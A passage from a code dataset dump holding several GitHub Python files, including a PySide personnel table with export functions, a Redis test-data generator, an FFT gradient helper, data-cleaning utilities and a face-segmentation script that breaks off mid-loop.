column_number == 2:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(\"PRN#\" + str(data)))\n else:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(str(data)))\n\n self.peopleTable.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.peopleTable.setSelectionBehavior(QTableView.SelectRows)\n\n @Slot()\n def funcActivateBtnsWithCheckbox(self):\n indices = self.funcPeopleCheckBox()\n\n if self.sender().isChecked() or indices:\n self.exportPeopleCSVBtn.setEnabled(True)\n self.exportPeopleXLSXBtn.setEnabled(True)\n self.exportPeoplePDFBtn.setEnabled(True)\n else:\n self.exportPeopleCSVBtn.setEnabled(False)\n self.exportPeopleXLSXBtn.setEnabled(False)\n self.exportPeoplePDFBtn.setEnabled(False)\n\n @Slot()\n def funcAddPerson(self):\n self.newPerson = AddPerson(self)\n self.newPerson.setObjectName(\"add_person_popup\")\n self.newPerson.setStyleSheet(styles.addPopups())\n\n @Slot()\n def funcPeopleCheckBox(self):\n checked_list = []\n for i in range(self.peopleTable.rowCount()):\n if self.peopleTable.cellWidget(i, 0).findChild(type(QCheckBox())).isChecked():\n item = self.peopleTable.item(i, 2).text()\n checked_list.append(item.lstrip(\"PRN#\"))\n return checked_list\n\n @Slot()\n def selectedPerson(self):\n self.displayPerson = DisplayPerson(self)\n self.displayPerson.show()\n\n @Slot()\n def funcDeletePerson(self):\n indices = self.funcPeopleCheckBox()\n\n mbox = QMessageBox.question(self, \"Warning\", \"Are you sure you want to delete this person?\",\n QMessageBox.Yes | QMessageBox.Cancel, QMessageBox.Cancel)\n\n if (mbox == QMessageBox.Yes):\n if indices:\n try:\n for index in range(len(indices)):\n query = \"DELETE FROM people WHERE person_id = ?\"\n\n db.cur.execute(query, (indices[index],))\n db.conn.commit()\n\n QMessageBox.information(self, \"Info\", \"Selected people were deleted\")\n self.funcDisplayPeople()\n except:\n QMessageBox.information(self, \"Info\", \"No changes made\")\n else:\n row = self.peopleTable.currentRow()\n personId = self.peopleTable.item(row, 0).text()\n personId = personId.lstrip(\"PRN#\")\n try:\n query = \"DELETE FROM people WHERE person_id = ?\"\n\n db.cur.execute(query, (personId,))\n db.conn.commit()\n\n QMessageBox.information(self, \"Info\", \"Person was deleted\")\n self.funcDisplayPeople()\n except:\n QMessageBox.information(self, \"Info\", \"No changes made\")\n\n self.displayPerson.close()\n\n @Slot()\n def funcListPeople(self):\n if self.allPeopleRadioBtn.isChecked():\n self.funcDisplayPeople()\n elif self.employeesPeopleRadioBtn.isChecked():\n try:\n query = \"SELECT * FROM people WHERE person_empl_type = 'Employee'\"\n people = db.cur.execute(query).fetchall()\n\n for i in reversed(range(self.peopleTable.rowCount())):\n self.peopleTable.removeRow(i)\n\n for row_data in people:\n row_number = self.peopleTable.rowCount()\n self.peopleTable.insertRow(row_number)\n # Add checkboxes to the table\n widget = QWidget()\n checkBox = QCheckBox()\n checkBox.setCheckState(Qt.Unchecked)\n hBoxLayout = QHBoxLayout(widget)\n hBoxLayout.addWidget(checkBox)\n hBoxLayout.setAlignment(Qt.AlignCenter)\n self.peopleTable.setCellWidget(row_number, 0, widget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Add photo photos_thumbnails to the table\n thumbWidget = QWidget()\n pic = QPixmap(\n \"assets/media/people-media/photos_thumbnails/01Aug2020_18h01mtrtgzteuzuspxrp_thumbnail.png\")\n thumbLabel = QLabel()\n thumbLabel.setPixmap(pic)\n thumbLayout = QHBoxLayout(thumbWidget)\n thumbLayout.addWidget(thumbLabel)\n self.peopleTable.setCellWidget(row_number, 1, thumbWidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Fill the rest of the data\n for column_number, data in enumerate(row_data, start=2):\n if column_number == 2:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(\"PRN#\" + str(data)))\n else:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(str(data)))\n except:\n QMessageBox.information(self, \"Info\", \"Cannot access database\")\n elif self.contractorsPeopleRadioBtn.isChecked():\n try:\n query = \"SELECT * FROM people WHERE person_empl_type = 'Contractor'\"\n people = db.cur.execute(query).fetchall()\n\n for i in reversed(range(self.peopleTable.rowCount())):\n self.peopleTable.removeRow(i)\n\n for row_data in people:\n row_number = self.peopleTable.rowCount()\n self.peopleTable.insertRow(row_number)\n # Add checkboxes to the table\n widget = QWidget()\n checkBox = QCheckBox()\n checkBox.setCheckState(Qt.Unchecked)\n hBoxLayout = QHBoxLayout(widget)\n hBoxLayout.addWidget(checkBox)\n hBoxLayout.setAlignment(Qt.AlignCenter)\n self.peopleTable.setCellWidget(row_number, 0, widget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Add photo photos_thumbnails to the table\n thumbWidget = QWidget()\n pic = QPixmap(\n \"assets/media/people-media/photos_thumbnails/01Aug2020_18h01mtrtgzteuzuspxrp_thumbnail.png\")\n thumbLabel = QLabel()\n thumbLabel.setPixmap(pic)\n thumbLayout = QHBoxLayout(thumbWidget)\n thumbLayout.addWidget(thumbLabel)\n self.peopleTable.setCellWidget(row_number, 1, thumbWidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Fill the rest of the data\n for column_number, data in enumerate(row_data, start=2):\n if column_number == 2:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(\"PRN#\" + str(data)))\n else:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(str(data)))\n except:\n QMessageBox.information(self, \"Info\", \"Cannot access database\")\n elif self.subcontractorsPeopleRadioBtn.isChecked():\n try:\n query = \"SELECT * FROM people WHERE person_empl_type = 'Subcontractor'\"\n people = db.cur.execute(query).fetchall()\n\n for i in reversed(range(self.peopleTable.rowCount())):\n self.peopleTable.removeRow(i)\n\n for row_data in people:\n row_number = self.peopleTable.rowCount()\n self.peopleTable.insertRow(row_number)\n # Add checkboxes to the table\n widget = QWidget()\n checkBox = QCheckBox()\n checkBox.setCheckState(Qt.Unchecked)\n hBoxLayout = QHBoxLayout(widget)\n hBoxLayout.addWidget(checkBox)\n hBoxLayout.setAlignment(Qt.AlignCenter)\n self.peopleTable.setCellWidget(row_number, 0, widget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Add photo photos_thumbnails to the table\n thumbWidget = QWidget()\n pic = QPixmap(\n \"assets/media/people-media/photos_thumbnails/01Aug2020_18h01mtrtgzteuzuspxrp_thumbnail.png\")\n thumbLabel = QLabel()\n thumbLabel.setPixmap(pic)\n thumbLayout = QHBoxLayout(thumbWidget)\n thumbLayout.addWidget(thumbLabel)\n self.peopleTable.setCellWidget(row_number, 1, thumbWidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Fill the rest of the data\n for column_number, data in enumerate(row_data, start=2):\n if column_number == 2:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(\"PRN#\" + str(data)))\n else:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(str(data)))\n except:\n QMessageBox.information(self, \"Info\", \"Cannot access database\")\n\n @Slot()\n def searchPeople(self):\n value = self.searchPeopleEntry.text()\n if value == \"\":\n QMessageBox.information(self, \"Warning\", \"Search string cannot be empty\")\n self.funcDisplayPeople()\n else:\n # Erase search entry\n self.searchPeopleEntry.setText(\"\")\n try:\n query = \"SELECT * FROM people WHERE \" \\\n \"person_id LIKE ? \" \\\n \"OR person_first_name LIKE ?\" \\\n \"OR person_last_name LIKE ?\" \\\n \"OR person_title LIKE ?\" \\\n \"OR person_phone LIKE ?\" \\\n \"OR person_email LIKE ?\" \\\n \"OR person_location LIKE ?\" \\\n \"OR person_empl_type LIKE ?\"\n results = db.cur.execute(query, ('%' + value + '%', '%' + value + '%', '%' + value + '%',\n '%' + value + '%', '%' + value + '%', '%' + value + '%',\n '%' + value + '%', '%' + value + '%',)).fetchall()\n if results == []:\n QMessageBox.information(self, \"Info\", \"Nothing was found\")\n self.displayPeople()\n else:\n for i in reversed(range(self.peopleTable.rowCount())):\n self.peopleTable.removeRow(i)\n\n for row_data in results:\n row_number = self.peopleTable.rowCount()\n self.peopleTable.insertRow(row_number)\n # Add checkboxes to the table\n qwidget = QWidget()\n checkbox = QCheckBox()\n checkbox.setCheckState(Qt.Unchecked)\n qhboxlayout = QHBoxLayout(qwidget)\n qhboxlayout.addWidget(checkbox)\n qhboxlayout.setAlignment(Qt.AlignCenter)\n self.peopleTable.setCellWidget(row_number, 0, qwidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n # Add photo photos_thumbnails to the table\n thumbWidget = QWidget()\n pic = QPixmap(\n \"assets/media/people-media/photos_thumbnails/01Aug2020_18h01mtrtgzteuzuspxrp_thumbnail.png\")\n thumbLabel = QLabel()\n thumbLabel.setPixmap(pic)\n thumbLayout = QHBoxLayout(thumbWidget)\n thumbLayout.addWidget(thumbLabel)\n self.peopleTable.setCellWidget(row_number, 1, thumbWidget)\n self.peopleTable.setItem(row_number, 0, QTableWidgetItem(row_number))\n\n for column_number, data in enumerate(row_data, start=2):\n if column_number == 2:\n self.peopleTable.setItem(row_number, column_number,\n QTableWidgetItem(\"PRN#\" + str(data)))\n else:\n self.peopleTable.setItem(row_number, column_number, QTableWidgetItem(str(data)))\n except:\n QMessageBox.information(self, \"Info\", \"Cannot access database\")\n\n @Slot()\n def funcPeopleToCSV(self):\n indices = self.funcPeopleCheckBox()\n\n if indices:\n CSV(self, \"people\", indices)\n else:\n QMessageBox.information(\n self, \"Info\", \"Nothing selected for export\\nUse checkboxes to select issues to export\")\n\n\n @Slot()\n def funcPeopleToXLSX(self):\n indices = self.funcPeopleCheckBox()\n\n if indices:\n try:\n date = datetime.datetime.now()\n\n # Get file location and add timestamp to when it was created to the filename\n fileName, _ = QFileDialog.getSaveFileName(\n self, \"Save as...\", \"~/PeopleXLSX\" + \"{:%d%b%Y_%Hh%Mm}\".format(date) + \".xlsx\",\n \"Excel files (*.xlsx)\")\n if fileName:\n db.cur.execute(\"SELECT * FROM people\")\n\n workbook = xlsxwriter.Workbook(fileName)\n worksheet = workbook.add_worksheet(\"People\")\n worksheet.set_column('A:C', 12)\n worksheet.set_row(0, 30)\n merge_format = workbook.add_format({\n 'bold': 1,\n 'align': 'center',\n 'valign': 'vcenter'})\n worksheet.merge_range('A1:B1', '',merge_format)\n worksheet.insert_image('A1', './assets/logo/logo-full-main.png',\n {'x_scale': 0.4, 'y_scale': 0.4, 'x_offset': 15, 'y_offset': 10})\n\n # Create header row\n stop = 8\n col = 0\n for i, value in enumerate(db.cur.description[:stop]):\n worksheet.write(1, col, value[0])\n col += 1\n\n # Write date to xlsx file\n row_number = 2\n for index in range(len(indices)):\n query = \"SELECT * FROM people WHERE person_id=?\"\n person_record = db.cur.execute(query, (indices[index],)).fetchone()\n for i, value in enumerate(person_record[:stop]):\n if person_record[9]:\n worksheet.set_row(row_number, 185)\n worksheet.set_column(8, 8, 35)\n worksheet.insert_image(\n row_number, 8, person_record[9],\n {'x_scale': 0.3, 'y_scale': 0.3})\n worksheet.write(row_number, i, value)\n row_number += 1\n\n workbook.close()\n\n QMessageBox.information(self, \"Info\", \"Data exported successfully into {}\".format(fileName))\n\n except:\n QMessageBox.information(self, \"Info\", \"Export failed\")\n else:\n QMessageBox.information(\n self, \"Info\", \"Nothing selected for export\\nUse checkboxes to select issues to export\")\n\n @Slot()\n def funcPeopleToPdf(self):\n indices = self.funcPeopleCheckBox()\n\n if indices:\n try:\n date = datetime.datetime.now()\n\n # Get file location and add timestamp to when it was created to the filename\n fileName, _ = QFileDialog.getSaveFileName(\n self, \"Save as...\", \"~/PeoplePDF\" + \"{:%d%b%Y_%Hh%Mm}\".format(date) + \".pdf\",\n \"PDF files (*.pdf)\")\n\n if fileName:\n pdf = PDF()\n pdf.add_page()\n pdf.set_font('Arial', 'B', 13)\n\n for index in range(len(indices)):\n query = \"SELECT * FROM people WHERE person_id=?\"\n person_record = db.cur.execute(query, (indices[index],)).fetchone()\n\n # This string allows for text formatting in the pdf, easy to implement and test\n stringPerson = \"\\nPerson id: \" + str(person_record[0]) + \\\n \"\\nFirst name: \" + str(person_record[1]) + \\\n \"\\nLast name: \" + str(person_record[2]) + \\\n \"\\nTitle: \" + str(person_record[3]) + \\\n \"\\nPhone: \" + str(person_record[4]) + \\\n \"\\nEmail: \" + str(person_record[5]) + \\\n \"\\nLocation: \" + str(person_record[6]) + \\\n \"\\nEmployment type: \" + str(person_record[7])\n\n effectivePageWidth = pdf.w - 2 * pdf.l_margin\n ybefore = pdf.get_y()\n pdf.multi_cell(effectivePageWidth / 2, 10, stringPerson)\n\n if person_record[9]:\n pdf.set_xy(effectivePageWidth / 2 + pdf.l_margin, ybefore)\n pdf.image(person_record[9], effectivePageWidth / 2 + 20, 40, w=70)\n pdf.ln(0.5)\n\n if index != (len(indices) - 1):\n pdf.add_page()\n\n # pdf.multi_cell(200, 10, stringPerson)\n pdf.output(fileName, 'F')\n\n QMessageBox.information(self, \"Info\", \"Data exported successfully into {}\".format(fileName))\n\n except:\n QMessageBox.information(self, \"Info\", \"Export failed\")\n else:\n QMessageBox.information(\n self, \"Info\", \"Nothing selected for export\\nUse checkboxes to select issues to export\")\n\n","repo_name":"periwinkleFTW/sr-desktop-app","sub_path":"Tab_People.py","file_name":"Tab_People.py","file_ext":"py","file_size_in_byte":29008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27238537972","text":"import sys\nimport time\nimport string\nimport redis\nimport random\n\n# This is for a simple sample test for RedRock for Readme.md\n# It will generage some string keys in database 0 of RedRock\n\nr_ip = \"192.168.56.21\"\nr_port = 6379\npool = redis.ConnectionPool(host=r_ip,\n port=r_port,\n db=0,\n decode_responses=True,\n encoding='latin1',\n socket_connect_timeout=2)\nr: redis.StrictRedis = redis.StrictRedis(connection_pool=pool)\n\n\n# if vals is None，generate fix val\ndef gen_strs(num: int, vals):\n for i in range(1, num+1):\n key = \"str_\" + str(i)\n val_len = random.randint(2, 2000)\n if vals is None:\n val = str(val_len) + \"s\" * val_len\n else:\n val = str(i) + \"_\" + random.choice(vals)\n cmd = f\"set {key} {val}\"\n r.execute_command(cmd)\n if i % 1000 == 1:\n print(f\"gen key i = {i}, time = {time.time()}\")\n\n print(f\"Generate {num} string keys in RedRock success!\")\n\n\ndef gen_hashs(num: int, f_num: int, vals):\n cnt = 0\n for i in range(1, num+1):\n key = \"hash_\" + str(i)\n for j in range(1, f_num+1):\n f_name = \"f_\" + str(j)\n if vals is None:\n v_len = random.randint(2, 2000)\n val = str(v_len) + \"f\" * v_len\n else:\n val = str(i) + \"_\" + str(j) + \"_\" + random.choice(vals)\n cmd = f\"hset {key} {f_name} {val}\"\n r.execute_command(cmd)\n cnt = cnt + 1\n if cnt % 1000 == 1:\n print(f\"gen hash cnt = {cnt}, time = {time.time()}\")\n\n print(f\"Generate {num} hash keys with total fields = {cnt} in RedRock success!\")\n\n\ndef get_random_vals():\n vals = []\n val = \"\"\n candidates = string.ascii_letters\n for _ in range(0, random.randint(20, 2000)):\n val = val + random.choice(candidates)\n vals.append(val)\n return tuple(vals)\n\n\ndef _main():\n argv_num: int = len(sys.argv)\n script_name: str = sys.argv[0]\n\n if argv_num < 2:\n print(f\"python3 {script_name} ...\")\n exit(1)\n\n gen_type = sys.argv[1]\n vals = get_random_vals()\n\n if gen_type == \"str\":\n if argv_num < 3:\n print(f\"python3 {script_name} {gen_type} \")\n exit(1)\n\n str_num = int(sys.argv[2])\n if str_num < 0:\n print(f\"num can not be negative or zero\")\n exit(1)\n\n gen_strs(str_num, vals)\n\n elif gen_type == \"hash\":\n if argv_num < 4:\n print(f\"python3 {script_name} {gen_type} \")\n exit(1)\n\n hash_num = int(sys.argv[2])\n field_num = int(sys.argv[3])\n\n gen_hashs(hash_num, field_num, vals)\n\n else:\n print(f\"no recognized type = {gen_type}\")\n exit(1)\n\n\nif __name__ == '__main__':\n _main()\n\n","repo_name":"szstonelee/redrock","sub_path":"tests/rock/gen_some_keys.py","file_name":"gen_some_keys.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"60"} +{"seq_id":"35674870249","text":"import prompt\n\n\ndef logic(name, question_answer):\n for i in range(3):\n question = question_answer[i][0]\n correct_answer = question_answer[i][1]\n print(f'Question: {question}')\n answer = prompt.string('Your answer: ')\n if answer == str(correct_answer):\n print('Correct!')\n else:\n print(f\"'{answer}' is wrong answer ;(.\"\n f\"Correct answer was '{correct_answer}'.\\n\"\n f\"Let's try again, {name}!\")\n break\n else:\n print(f'Congratulations, {name}!')\n","repo_name":"VladimirSergeev46/python-project-49","sub_path":"brain_games/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15377367803","text":"import numpy as np\nimport math\n\n\ndef Gradient_with_fft(f, dx, pad):\n \"\"\"\n Get gradient of function f through FFT method.\n 1. Pad 0.0 outside the region.\n 2. Compute FFT, then times i.k.FFT[f] to get FFT[grad(f)]\n 3. Compute IFFT to get grad(f).\n\n :param f: Target function, in [x][y][z] orientation.\n :param dx: sample size\n :param pad: Ratio of padding 0 length compare to the length of that axis at each side.\n Pad ceil( f.shape * pad ) zeros.\n :return: List [fx, fy, fz]\n \"\"\"\n # padding 0 outside\n pad_x, pad_y, pad_z = math.ceil(pad * f.shape[0]), math.ceil(pad * f.shape[1]), math.ceil(pad * f.shape[2])\n pad_array = np.zeros((2 * pad_x, f.shape[1], f.shape[2]))\n f_pad = np.concatenate((f, pad_array), axis=0)\n pad_array = np.zeros((f_pad.shape[0], 2 * pad_y, f.shape[2]))\n f_pad = np.concatenate((f_pad, pad_array), axis=1)\n pad_array = np.zeros((f_pad.shape[0], f_pad.shape[1], 2 * pad_z))\n f_pad = np.concatenate((f_pad, pad_array), axis=2)\n f_pad = np.roll(f_pad, (pad_x, pad_y, pad_z), axis=(0, 1, 2))\n\n # do FFT to f_pad\n f_k = np.fft.rfftn(f_pad)\n\n # compute i.k.f_pad to get grad(f) in k-space.\n k_x = np.fft.fftfreq(f_pad.shape[0], d=dx)\n k_y = np.fft.fftfreq(f_pad.shape[1], d=dx)\n k_z = np.fft.rfftfreq(f_pad.shape[2], d=dx)\n k_xx, k_yy, k_zz = [2.0 * np.pi * matrix for matrix in np.meshgrid(k_x, k_y, k_z, indexing='ij')]\n\n grad_f_kx = 1j * k_xx * f_k\n grad_f_ky = 1j * k_yy * f_k\n grad_f_kz = 1j * k_zz * f_k\n\n # do inverse FFT, and dig out the original region.\n grad_fx = np.fft.irfftn(grad_f_kx)\n grad_fy = np.fft.irfftn(grad_f_ky)\n grad_fz = np.fft.irfftn(grad_f_kz)\n\n grad_fx = np.roll(grad_fx, (-pad_x, -pad_y, -pad_z), axis=(0, 1, 2))[0:f.shape[0], 0:f.shape[1], 0:f.shape[2]]\n grad_fy = np.roll(grad_fy, (-pad_x, -pad_y, -pad_z), axis=(0, 1, 2))[0:f.shape[0], 0:f.shape[1], 0:f.shape[2]]\n grad_fz = np.roll(grad_fz, (-pad_x, -pad_y, -pad_z), axis=(0, 1, 2))[0:f.shape[0], 0:f.shape[1], 0:f.shape[2]]\n\n return [grad_fx, grad_fy, grad_fz]\n\n\ndef Gradient_with_numpy(f):\n \"\"\"\n Get gradient of function f through np.gradient.\n\n :param f: Target function.\n :return: List [fx, fy, fz]\n \"\"\"\n return np.gradient(f)\n","repo_name":"cindytsai/PsiAnalyzer","sub_path":"PsiAnalyzer/Gradient.py","file_name":"Gradient.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32254513723","text":"import os\nimport json\n\nLYRICS_DIR = '.\\lyrics'\n\nlyrics = []\nfor f in os.listdir(LYRICS_DIR):\n if f.endswith(\".txt\"):\n with open(os.path.join(LYRICS_DIR, f), 'r', encoding='utf-8') as lyrics_file:\n lyrics += lyrics_file.read().split(';')\n\nlyrics = list(filter(None, lyrics))\nprint(\"There are %s lyrics in total.\" % len(lyrics))\nwith open('train.json', 'w', encoding='utf-8') as f:\n json.dump(lyrics, f, ensure_ascii=False)\n","repo_name":"bixubot/mojim_lyrics_crawler","sub_path":"jsonify.py","file_name":"jsonify.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71016502272","text":"\"\"\" Tools for ETL/cleaning rank and stats data \"\"\"\n\nimport numpy as np\nimport re\n\n\ndef clean_data(df, player_col, index_name=None, select_cols=None, drop_cols=None, fill=None):\n\t\"\"\"\n\tConvenience function for cleaning data: subsetting, filling missing values, and setting index/columns\n\t:param df: DataFrame usually resulting from scraping stats or rankings\n\t:param player_col: column containing player names\n\t:param index_name: name to use for index (keeps player_col if None)\n\t:param select_cols: columns to be selected (defaults to all)\n\t:param drop_cols: columns to be dropped (defaults to none)\n\t:param fill: value in df to be filled with NaN\n\t:return:\n\t\"\"\"\n\n\t# subsetting\n\tif select_cols:\n\t\tselect_cols = select_cols if isinstance(select_cols, list) else [select_cols]\n\t\t# ensure player_col is always selected\n\t\tdf = df.filter(select_cols + [player_col], axis=1)\n\tif drop_cols:\n\t\tdrop_cols = drop_cols if isinstance(drop_cols, list) else [drop_cols]\n\t\t# use select instead of drop here to avoid requiring every element of drop_cols to be in df\n\t\tdf = df.select(lambda x: x not in drop_cols, axis=1)\n\n\t# fill missing values\n\tif fill is not None:\n\t\tdf = df.replace(fill, np.nan)\n\n\t# set index and column names\n\tdf = (df.pipe(set_player_index, player_col, index_name)\n\t\t\t.pipe(set_column_names, deduplicate=True))\n\n\treturn df\n\n\ndef set_player_index(df, player_col, index_name):\n\t\"\"\"\n\tSets player_col as the index, after normalization, with name index_name\n\t:param df: dataframe\n\t:param player_col: column containing player names\n\t:param index_name: name to use for index\n\t:return:\n\t\"\"\"\n\tdf[player_col] = df[player_col].apply(_normalize_player_names)\n\n\tdf = (df.set_index(player_col)\n\t\t\t.rename_axis(index_name if index_name else player_col, axis=0))\n\treturn df\n\n\ndef set_column_names(df, deduplicate=True):\n\t\"\"\"\n\tRemoves trailing dates from all column names\n\t:param df: dataframe\n\t:param deduplicate: bool to indicate whether to deduplicate columns (keeping last) after removing trailing dates\n\t:return:\n\t\"\"\"\n\tdf = df.rename(columns={col: _strip_date_from_name(col) for col in df.columns})\n\tif deduplicate:\n\t\tdf = df.loc[:, ~df.columns.duplicated(keep='last')]\n\treturn df\n\n\ndef _normalize_player_names(namestr):\n\t\"\"\"\n\tStrips off all extra information from player names (e.g., opponent, date) and standardizes names (removes Jr., etc)\n\t:param namestr: string\n\t:return:\n\t\"\"\"\n\ttry:\n\t\treturn ' '.join(namestr.strip().split(' ')[:2]).strip(',.')\n\texcept IndexError:\n\t\treturn ' '\n\n\ndef _strip_date_from_name(namestr):\n\t\"\"\"\n\tRemoves date information (of the form mm/dd) from the end of a string name\n\t:param namestr: string\n\t:return:\n\t\"\"\"\n\ttry:\n\t\treturn re.split('\\d+/\\d+', namestr)[0]\n\texcept IndexError:\n\t\treturn ' '\n","repo_name":"dkaslovsky/YAFSA","sub_path":"yafsa/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"39611631447","text":"# client builder \nimport atexit\n\nimport tda\n\nfrom settings import CALLBACK_URL, CONSUMER_KEY, ACCOUNT_ID, CHROMEDRIVER_DIR1, CHROME_DIR\n\nclient_id = CONSUMER_KEY + \"@AMER.OAUTHAP\"\npath_to_token = \"./tokens/token.json\"\n\ndef make_driver():\n from selenium import webdriver\n from selenium.webdriver.chrome.options import Options\n \n options = Options()\n options.binary_location = CHROME_DIR\n driver = webdriver.Chrome(CHROMEDRIVER_DIR1, chrome_options=options)\n atexit.register(lambda: driver.quit())\n return driver\n\ndef build_client():\n client = tda.auth.easy_client(api_key=client_id, redirect_uri=CALLBACK_URL, token_path=path_to_token, webdriver_func=make_driver, asyncio=False)\n return client\n\nif __name__ == \"__main__\":\n build_client()","repo_name":"maxemileffort/gap-trader","sub_path":"client_builder.py","file_name":"client_builder.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"27598298648","text":"import numpy as np\nimport cv2\nimport face_recognition\nfrom keras.models import load_model\nfrom skimage.transform import resize\nimport tkinter as tk\nfrom tkinter import filedialog\nimport uuid\nimport matplotlib.pyplot as plt\nfrom keras import backend as K\nfrom keras.metrics import binary_crossentropy\nimport tensorflow as tf\nfrom sklearn.metrics import jaccard_similarity_score\nfrom numpy import dot\nfrom numpy.linalg import norm\n\ndef mse(true, pred):\n # the 'Mean Squared Error' between the two images is the\n # sum of the squared difference between the two images;\n # NOTE: the two images must have the same dimension\n err = np.sum((true.astype(\"float\") - pred.astype(\"float\")) ** 2)\n err /= float(len(true))\n\ndef accuracy(true, pred):\n \"\"\"(TP + TN) / (TP + TN + FP + FN)\"\"\"\n\n true_f = true.flatten()\n pred_f = pred.flatten()\n\n truePositive = 0\n trueNegative = 0\n falsePositive = 0\n falseNegative = 0\n\n for index, value in enumerate(true_f):\n if(value == 1 and pred_f[index] == 1):\n truePositive = truePositive + 1\n if(value == 0 and pred_f[index] == 0):\n trueNegative = trueNegative + 1\n if(value == 0 and pred_f[index] == 1):\n falsePositive = falsePositive + 1\n if (value == 1 and pred_f[index] == 0):\n falseNegative = falseNegative + 1\n\n return (truePositive + trueNegative) / (truePositive + trueNegative + falsePositive + falseNegative)\n\n\n predictions = np.clip(predictions, epsilon, 1. - epsilon)\n N = predictions.shape[0]\n ce = -np.sum(targets*np.log(predictions+1e-9))/N\n return ce\n\ndef dice_coef(y_true, y_pred):\n smooth = 1.\n\n y_true_f = y_true.flatten()\n y_pred_f = y_pred.flatten()\n int = y_true_f * y_pred_f\n intersection = sum(int[0:len(int)])\n return (2. * intersection + smooth) / (sum(y_true_f[0:len(y_true_f)]) + sum(y_pred_f[0:len(y_pred_f)]) + smooth)\n\ndef prepareWindow():\n root = tk.Tk()\n root.withdraw()\n return root\n\ndef getInputDimensions():\n return 224,224\n\ndef getFrameCount(videoStream):\n property_id = int(cv2.CAP_PROP_FRAME_COUNT)\n return int(cv2.VideoCapture.get(videoStream, property_id))\n\ndef getDimensionsOfStream(videoStream):\n return int(videoStream.get(3)), int(videoStream.get(4))\n\ndef createOutputFileStream(frameWidth, frameHeight, frameCount):\n if frameCount == 1:\n guid = str(uuid.uuid4())\n return cv2.VideoWriter('output/images/' + guid + '.jpg', cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 16, (frameWidth, frameHeight))\n else:\n exit(-1)\n\ndef segmentFacesInStream(videoStream, outStream, faceHeight, faceWidth, facePixels):\n while (videoStream.isOpened()):\n ret, frame = videoStream.read()\n\n if ret == True:\n\n final_prediction_mask = np.zeros((frameWidth,frameHeight), dtype=np.int32)\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n face_locations = face_recognition.face_locations(frame)\n\n for faceIndex, locations in enumerate(face_locations):\n # for i in range(1):\n top, right, bottom, left = locations;\n # top,right,bottom,left = 0,369,369,0\n\n face_img = frame[top:bottom, left:right, :]\n face_img_shape = ((right - left), (bottom - top))\n face_img = resize(face_img, (faceHeight, faceWidth), mode='constant', preserve_range=True)\n facePixels[0] = face_img\n dummyImage = np.zeros((frameWidth, frameHeight), dtype=np.uint8)\n\n downsampled_to_actual_horizontal_ratio = faceHeight / face_img_shape[0]\n downsampled_to_actual_vertical_ratio = faceWidth / face_img_shape[1]\n\n predictions = model.predict(facePixels, verbose=1)\n predictions_over_threshold = (predictions > 0.5).astype(np.uint8)\n\n predictions_upsampled = np.zeros((1, face_img_shape[0], face_img_shape[1], 1),\n dtype=np.uint8)\n\n predictions_upsampled = resize(predictions,\n (1, face_img_shape[0], face_img_shape[1], 1),\n mode='constant', preserve_range=True)\n\n predictions_over_threshold_upsampled = np.zeros((1, face_img_shape[0], face_img_shape[1], 1),\n dtype=np.uint8)\n\n predictions_over_threshold_upsampled = resize(predictions_over_threshold,\n (1, face_img_shape[0], face_img_shape[1], 1),\n mode='constant', preserve_range=True)\n\n dummyImage = np.zeros((1, frameWidth, frameHeight, 1), dtype=np.uint8)\n\n prediction_mask = np.zeros((frameWidth, frameHeight), dtype=np.int32)\n\n prediction_mask_probabilities = np.zeros((frameWidth, frameHeight), dtype=np.int32)\n\n for dummyIndex, three_dim in enumerate(predictions_over_threshold_upsampled):\n for rowIndex, row in enumerate(three_dim):\n for columnIndex, value in enumerate(row):\n if (value[0] == 1):\n prediction_mask[columnIndex+left][rowIndex+top] = 1\n final_prediction_mask[columnIndex+left][rowIndex+top] = 1\n prediction_mask_probabilities[columnIndex][rowIndex] = predictions_upsampled[0][columnIndex][rowIndex][0]\n cv2.circle(frame, (columnIndex + left, rowIndex + top), 1, (0, 0, 255), thickness=1,\n lineType=8, shift=0)\n\n prediction_mask_face = prediction_mask[top:bottom, left:right]\n prediction_mask_probabilities_face = prediction_mask_probabilities[top:bottom, left:right]\n\n cv2.imshow('frame', frame)\n outStream.write(frame)\n\n filePath2 = filedialog.askopenfilename()\n\n refImg = cv2.imread(filePath2, 0)\n\n ref_array = np.zeros((frameWidth, frameHeight), dtype=np.int32)\n\n\n for rowIndex, row in enumerate(refImg):\n for columnIndex, value in enumerate(row):\n if (value > 0):\n ref_array[columnIndex][rowIndex] = 